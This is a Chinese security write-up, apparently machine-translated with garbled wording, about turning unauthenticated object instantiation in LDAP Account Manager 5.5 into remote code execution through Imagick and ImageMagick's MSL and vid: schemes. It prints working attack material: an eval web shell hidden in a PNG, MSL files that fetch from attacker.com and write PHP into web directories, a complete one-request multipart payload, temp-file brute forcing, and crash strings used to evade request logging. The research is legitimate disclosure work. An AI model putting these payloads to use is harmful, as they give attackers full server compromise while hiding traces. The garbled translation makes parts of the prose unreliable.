在内部渗透测试期间,我在 PHP 运用程序 LAM(LDAP 帐户管理器)中创造了一个未经身份验证的任意工具实例化漏洞。
PHP 的任意工具实例化是一个毛病,攻击者可以在个中创建任意工具。这个毛病可以有各种形状和大小。就我而言,易受攻击的代码可以缩短为一个大略的构造:
new $_GET['a']($_GET['b']);
便是这样。那里没有其他东西,而且我没有自定义类来为我供应代码实行或文件上传。在本文中,我将阐明如何通过此布局得到远程代码实行。
创造 LDAP 帐户管理器
在我们的内部渗透测试开始时,我扫描了网络的636 / tcp端口(ssl/ldap),并创造了一个LDAP做事:
$ nmap 10.0.0.1 -p80,443,389,636 -sC -sV -Pn -nNmap scan report for 10.0.0.1Host is up (0.005s latency).PORT STATE SERVICE VERSION369/tcp closed ldap443/tcp open ssl/http Apache/2.4.25 (Debian)636/tcp open ssl/ldap OpenLDAP 2.2.X - 2.3.X| ssl-cert: Subject: commonName=.company.com| Subject Alternative Name: DNS:.company.com, DNS:company.com| Not valid before: 2022-01-01T00:00:00|_Not valid after: 2024-01-01T23:59:59|_ssl-date: TLS randomness does not represent time
我考试测验通过匿名会话访问此 LDAP 做事,但失落败了:
$ ldapsearch -H ldaps://10.0.0.1:636/ -x -s base -b '' "(objectClass=)" "" +ldap_sasl_bind(SIMPLE): Can't contact LDAP server (-1)
但是,在我将“10.0.0.1 company.com”行放入我的 /etc/hosts 文件后,我能够连接到此 LDAP 并提取所有公开可用的数据。这意味着做事器进行了TLS SNI检讨,我可以利用做事器证书中的主机名绕过它。
域“company.com”不是做事器的精确域名,但它有效。
$ ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=)" "" +configContext: cn=confignamingContexts: dc=linux,dc=company,dc=com…$ ldapsearch -H ldaps://company.com:636/ -x -s sub -b 'dc=linux,dc=company,dc=com' "(objectClass=)" "" +…objectClass: personobjectClass: ldapPublicKeysshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAuZwGKsvsKlXhscOsIMUrwtFvoEgl…
提取信息后,我创造LDAP中险些每个用户记录都有sshPublicKey属性,个中包含用户的SSH公钥。因此,访问此做事器意味着可以访问该客户的全体 Linux 根本构造。
由于我不知道OpenLDAP中有任何漏洞,我决定在端口443 / tcp上对任何文件和目录暴力破解Apache做事器。只有一个目录:
[12:00:00] 301 - 344B -> /lam => https://10.0.0.1/lam/
这便是我找到LAM系统的办法。
LDAP 客户经理LDAP 帐户管理器 (LAM) 是一个 PHP Web 运用程序,用于通过用户友好的 Web 前端管理 LDAP 目录。它是FreeIPA的替代品之一。
我碰着了 LAM 5.5 系统:
找到的 /lam/ 页面重定向到此处
LAM 的默认配置许可任何 LDAP 用户登录,但可以很随意马虎地将其变动为仅接管来自指定管理组的用户。还可以逼迫实行其他双成分身份验证,例如Yubico或TOTP。
LAM的源代码可以从其官方GitHub页面下载。LAM 5.5 于 2016 年 9 月发布。与较新版本相比,LAM 5.5 的代码库相称差,这给了我一些寻衅。
与许多 Web 运用程序比较,LAM 不打算手动安装到 Web 做事器。LAM 包含在 Debian 仓库中,常日从那里或从 deb/rpm 软件包安装。在这样的设置中,做事器上不应有配置缺点,也没有其他软件。
剖析 LDAP 帐户管理器LAM 5.5 有一些脚本可供未经身份验证的用户利用。
我创造了一个LDAP注入,这是无用的,由于数据被注入到匿名LDAP会话中,还有一个任意工具实例化。
/lam/templates/help.php:
if (isset($_GET['module']) && !($_GET['module'] == 'main') && !($_GET['module'] == '')) { include_once(__DIR__ . "/../lib/modules.inc"); if (isset($_GET['scope'])) { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber'],$_GET['scope']); } else { $helpEntry = getHelp($_GET['module'],$_GET['HelpNumber']); }…
/lib/modules.inc:
function getHelp($module,$helpID,$scope='') { … $moduleObject = moduleCache::getModule($module, $scope); …
/lam/lib/account.inc:
public static function getModule($name, $scope) { … self::$cache[$name . ':' . $scope] = new $name($scope); …
在这里,到达的值和到达的值。在此之后,实行布局。$_GET['module']$name$_GET['scope']$scopenew $name($scope)
因此,我是否会访问该客户的全体 Linux 根本架构取决于我是否能够利用此构造进行远程代码实行。
通过自定义类或自动加载利用“新$a($b)”在布局中,变量代表将为其创建工具的类名,变量代表将通报给工具布局函数的第一个参数。new $a($b)$a$b
如果来自 GET/POST,它们可以是字符串或字符串数组。如果它们来自 JSON 或其他地方,则可能具有其他类型,例如工具或布尔值。$a$b
让我们考虑以下示例:
class App { function __construct ($cmd) { system($cmd); }}# Additionally, in PHP < 8.0 a constructor might be defined using the name of the classclass App2 { function App2 ($cmd) { system($cmd); }}# Vulnerable code$a = $_GET['a'];$b = $_GET['b'];new $a($b);
在此代码中,您可以设置toorandto。在此之后,命令将被实行。$aAppApp2$buname -auname -a
如果您的运用程序中没有此类可利用的类,或者您在易受攻击的代码未包含的单独文件中具有所需的类,则可以查看自动加载函数。
自动加载函数是通过注册回调或通过定义来设置的。当考试测验创建未知类的实例时,将调用它们。spl_autoload_register__autoload
# An example of an autoloading functionspl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php';});# An example of an autoloading function, works only in PHP < 8.0function __autoload($class_name) { include $class_name . '.php';};# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_pathspl_autoload_register();
根据 PHP 版本和自动加载函数中的代码,可能存在一些通过自动加载获取远程代码实行的方法。
在 LAM 5.5 中,我找不到任何有用的自定义类,也没有自动加载功能。
通过内置类利用“新$a($b)”当您没有自定义类和自动加载时,您只能依赖内置的 PHP 类。
有 100 到 200 个内置的 PHP 类。它们的数量取决于 PHP 版本和安装的扩展。所有内置类都可以通过函数与自定义类一起列出:get_declared_classes
var_dump(get_declared_classes());
可以通过反射 API 找到具有有用布局函数的类。
利用通货再膨胀 API 显示布局函数及其参数:https://3v4l.org/2JEGF
如果掌握多个布局函数参数,并且之后可以调用任意方法,则可以通过多种办法获取远程代码实行。但是,如果您只能通报一个参数并且不对创建的工具进行任何调用,则险些没有任何调用。
我知道只有三种方法可以从中得到一些东西。new $a($b)
利用 SSRF + Phar 反序列化Theclass 实现了一个布局函数,该布局函数许可连接到任何本地或远程 URL:SplFileObject
new SplFileObject('http://attacker.com/');
这许可 SSRF。此外,PHP < 8.0 中的 SSRF 可以通过 Phar 协议的技能转换为反序列化。
我不须要 SSRF,由于我可以访问本地网络。而且,我在 LAM 5.5 中找不到任何 POP 链,以是我乃至没有考虑通过 Phar 利用反序列化。
利用PDOPDO类还有另一个有趣的布局函数:
new PDO("sqlite:/tmp/test.txt")
布局函数接管DSN字符串,许可我们利用已安装的数据库扩展连接到任何本地或远程数据库。例如,SQLite 扩展可以创建空文件。PDO
当我在目标做事器上对此进行测试时,我创造它没有任何PDO扩展。SQLite,MySQL,ODBC等都不是。
SoapClient/SimpleXMLElement XXE在 PHP ≤ 5.3.22 和 ≤ 5.4.12 中,SoapClient 的布局函数随意马虎受到 XXE 的攻击。SimpleXMLElement的布局函数也随意马虎受到XXE的攻击,但它须要libxml2<2.9。
创造利用“新$a($b)”的新方法为了创造新的利用办法,我决定扩大攻击面。我首先弄清楚 LAM 5.5 支持哪些 PHP 版本,以及它利用哪些 PHP 扩展。new $a($b)
由于 LAM 是通过 deb/rpm 软件包分发的,因此它包含一个配置文件及其所有哀求和依赖项:
Package: ldap-account-managerArchitecture: allDepends: php5 (>= 5.4.26) | php (>= 21), php5-ldap | php-ldap, php5-gd | php-gd, php5-json | php-json , php5-imagick | php-imagick, apache2 | httpd, debconf (>= 0.2.26) | debconf-2.0, ${misc:Depends}Recommends: php-apcSuggests: ldap-server, php5-mcrypt, ldap-account-manager-lamdaemon, perl...
deb 包配置文件的内容(拜会 GitHub)
LAM 5.5 须要 PHP ≥ 5.4.26,以及 LDAP、GD、JSON 和 Imagick 扩展。
Imagick因远程代码实行漏洞而臭名昭著,例如ImageTragig等。这便是我决定连续研究的地方。
伊玛奇克扩展Imagick 扩展实现了多个类,包括类 Imagick。它的布局函数只有一个参数,可以是字符串或字符串数组:
Imagick 文档:https://www.php.net/manual/en/imagick.construct.php
我测试了是否接管远程方案并可以通过HTTP连接到我的主机:Imagick::__construct
在 LAM 5.5 中创建任意 Imagick 实例
吸收来自 LAM 5.5 的连接
我创造目标做事器上存在 Imagick 类,实行足以逼迫做事器连接到我的主机。但是,目前尚不清楚创建Imagick实例是否足以触发ImageMagick中的任何漏洞。new Imagick(...)
我试图将公开可用的 POC 发送到做事器,但它们都失落败了。在那之后,我决定让它变得大略,并在个中一个运用程序安全社区中寻求建议。
幸运的是,埃米尔·勒纳(Emil Lerner)来帮忙。他说,如果我可以将诸如“epsi:/local/path”或“msl:/local/path”之类的值通报给ImageMagick,它将利用它们的方案部分,例如epsi或msl来确定文件格式。
探索 MSL 格式最有趣的ImageMagick格式是MSL。
MSL 代表 Magick 脚本措辞。它是一种内置的 ImageMagick 措辞,有助于读取图像、实行图像处理任务以及将结果写回文件系统。
我测试了是否许可方案:new Imagick(...)msl:
通过新的 Imagick(...) 包含一个 msl 文件
启动 HTTP 做事器以供应要通过 MSL 复制的文件
MSL方案适用于最新版本的PHP,Imagick和ImageMagick!
不幸的是,不支持 URL,我须要将文件上传到做事器才能进行制作。msl:http://attacker.com/msl:
在 LAM 中,没有许可未经身份验证的上传的脚本,我认为利用 PHP_SESSION_UPLOAD_PROGRESS 的技能会有所帮助,由于我须要一个格式良好的 XML 文件 MSL。
伊玛基克的路径解析Imagick不仅支持自己的URL方案,还支持PHP方案(如“php://”,“zlib://”等)。我决定找出它是如何事情的。
这是我的创造。
空字节仍旧有效Imagick 参数被空字节截断,纵然它包含 PHP 方案:
# No errors$a = new Imagick("/tmp/positive.png\x00.jpg");# No errors$a = new Imagick("http://attacker.com/test\x00test");
方括号可用于检测图像魔术
ImageMagick能够从文件路径末端的方括号中读取选项,例如图像的大小或帧号:
# No errors$a = new Imagick("/tmp/positive.png[10x10]");# No errors$a = new Imagick("/tmp/positive.png[10x10]\x00.jpg");
这可用于确定是否掌握对 ImageMagick 库的输入。
“https://”转到PHP,但“https:/”去卷曲ImageMagick支持100多种不同的方案。
ImageMagick的一半方案映射到外部程序。可以利用以下命令查看此映射:convert -list delegate
转换列表委托的输出
通过不雅观察输出,可以创造PHP和ImageMagick都支持HTTPS方案。convert -list delegate
此外,通报“https:/”字符串绕过 PHP 的 HTTPS 客户端并调用 curl 进程:new Imagick(...)
通过新的 Imagick 调用卷曲进程(...)
这也战胜了TLS证书检讨,由于利用了标志。这会将做事器的输出刷新到文件,当进程处于活动状态时,可以通过暴力逼迫文件名找到该文件。-k/tmp/.dat/proc/[pid]/fd/[fd]
我无法利用“https:/”吸收连接来自目标做事器的方案,可能是由于没有 curl。
PHP 的数组可用于列举文件当我创造将要求数据刷新到和暴力逼迫的 curl 技能时,我测试了是否也刷新了数据。确实如此!
/tmp/.dat/proc/[pid]/fd/[fd]new Imagick('http://...')
我测试了是否可以暂时使 MSL 内容涌如今个中一个 Apache 事情进程中,然后从另一个事情进程中访问它。/proc/[pid]/fd/[fd]
由于许可字符串数组并在第一个缺点后停滞处理实体,因此我能够在做事器上列举 PID 并创造我可以从中读取文件描述符的 Apache 事情线程的所有 PID:new Imagick(...)
创造 Apache 事情进程的所有 PID 我可以从中读取文件描述符
从 ImageMagick 获取显示 PID 的连接,我可以从中读取文件描述符
我创造由于 Debian 中的一些强化,我只能访问我在个中实行代码的 Apache 事情进程,而无法访问其他进程。但是,这种技能在我的 Arch Linux 受骗地事情。
RCE #1:PHP 崩溃 + 蛮力在测试了从文件描述符包含文件的多种方法后,我创造类似的构造导致事情进程在远程 Web 做事器上崩溃:text:fd:30
事情进程将很快由父 Apache 进程重新启动
这便是最初可以上传 Web shell 的缘故原由!
我们的想法是利用多部分/表单数据要求创建多个PHP临时文件。根据默认值,任何客户端都可以在分段要求中发送最多 20 个文件,这些文件将被保存到路径中。如果我们导致创建这些文件的事情线程崩溃,则这些文件将永久不会被删除。max_file_uploads/tmp/phpXXXXXXX ∈ [A-Za-z0-9]
如果我们发送 20,000 个这样的多部分要求,每个要求包含 20 个文件,则会导致创建 400,000 个临时文件。
20,000 × 20 = 400,000(26+26+10)6/ 400,000 = 142,000P(A) = 1 – (1 – 400,000/(26+26+10)6)142,000 ≈ 0.6321
因此,在 63.21% 的几率下,经由 142,000 次考试测验,我们将能够预测至少一个临时名称,并将我们的文件包含在 MSL 内容中。
发送超过 20,000 个初始要求不会加快该过程。任何导致崩溃的要求都非常慢,须要一秒钟以上。此外,创建超过 400,000 个文件可能会在文件系统上产生意外开销。
让我们布局这个多部分要求!
首先,我们须要创建一个带有 Web shell 的图像,由于 MSL 只许可图像处理:
convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["a"]); ?>' positive.png
其次,让我们创建一个 MSL 文件,该文件将此图像从我们的 HTTP 做事器复制到可写 Web 目录。在LAM的配置文件中找到这样的目录并不难。
<?xml version="1.0" encoding="UTF-8"?><image><read filename="http://attacker.com/positive.png" /><write filename="/var/lib/ldap-account-manager/tmp/positive.php" /></image>
第三,让我们把它们放在Burp Suite Intruder中:
配置打嗝套件入侵者
为了使攻击顺利进行,我设置了 PHPSESSID cookie 以防止创建多个会话文件(不要与临时上传文件稠浊)并指定了做事器的直接 IP,由于事实证明我们在 10.0.0.1 上有一个平衡器将要求定向到不同的数据中央。
此外,我在 Burp 入侵者中启用了谢绝做事模式,以防止 Burp Suite 的描述符耗尽,这可能是由于做事器真个 TCP 处理禁绝确而发生的。
在发送了所有 20,000 个多部分要求后,我通过 Burp Intruder 暴力破解了文件:/tmp/phpXXXXXX
暴力破解 /tmp/phpXXXXXX 文件
那里没有什么可看的;所有做事器相应保持不变。但是,经由 120,000 次考试测验,我们的 Web shell 上传了!
在目标做事器上实行“id”命令
在此之后,我们得到了对OpenLDAP的管理访问权限,并以最大权限掌握了该客户的所有Linux做事器!
我试图在本地重现这项技能,我创造这种构造不再使ImageMagick崩溃。我深入到ImageMagick资源中探求新的崩溃,我创造了更好的东西。text:fd:30
这是我的创造。
让我们来看看函数 ReadVIDImage,它用于解析 VID 方案:
ReadVIDImage 的源代码(拜会 GitHub)
此函数调用展开文件名。Expand文件名的描述详细阐明了这个函数所做的统统。
ExpandFilenames 函数的解释(请参阅 GitHub 上)
扩展文件名的调用意味着 VID 方案接管掩码,并利用它们布局文件路径。
因此,通过利用该方案,我们可以在不知道其名称的情形下将临时文件包含在 MSL 内容中:vid:
包含不知道其名称的 MSL 文件
在这之后,我创造了相称有趣的操持。两者的结合可以肃清带外连接,并一举创建一个 web shell:caption:info:
通过标题上传 Web 外壳:和信息:方案
获取上传/var/lib/ldap-account-manager/tmp/positive.php文件的内容
这便是我们能够在一个要求中利用此任意工具实例化的办法,而无需任何运用程序的类!
以下是利用任意工具实例化的终极有效负载:
Class Name: ImagickArgument Value: vid:msl:/tmp/php-- Request Data --Content-Type: multipart/form-data; boundary=ABCContent-Length: ...Connection: close --ABCContent-Disposition: form-data; name="swarm"; filename="swarm.msl"Content-Type: text/plain <?xml version="1.0" encoding="UTF-8"?><image> <read filename="caption:<?php @eval(@$_REQUEST['a']); ?>" /> <!-- Relative paths such as info:./../../uploads/swarm.php can be used as well --> <write filename="info:/var/www/swarm.php" /></image>--ABC--
它该当适用于安装了 Imagick 扩展的每个别系,如果您找到得当的小工具,它可以用于反序列化。
当 PHP 运行时是 libapache2-mod-php 时,您可以通过上传 web shell 并同时使进程崩溃来阻挡记录此要求:
Argument Value: ["vid:msl:/tmp/php", "text:fd:30"]
由于该构造不适用于最新的ImageMagick,因此这是另一个:text:fd:30
Crash Construction: str_repeat("vid:", 400)
这个适用于 7.1.0-40 以下的每个 ImageMagick(2022 年 7 月 4 日发布)。
在像Nginx + PHP-FPM这样的安装中,要求不会从Nginx的日志中消逝,但它不应该被写入PHP-FPM日志。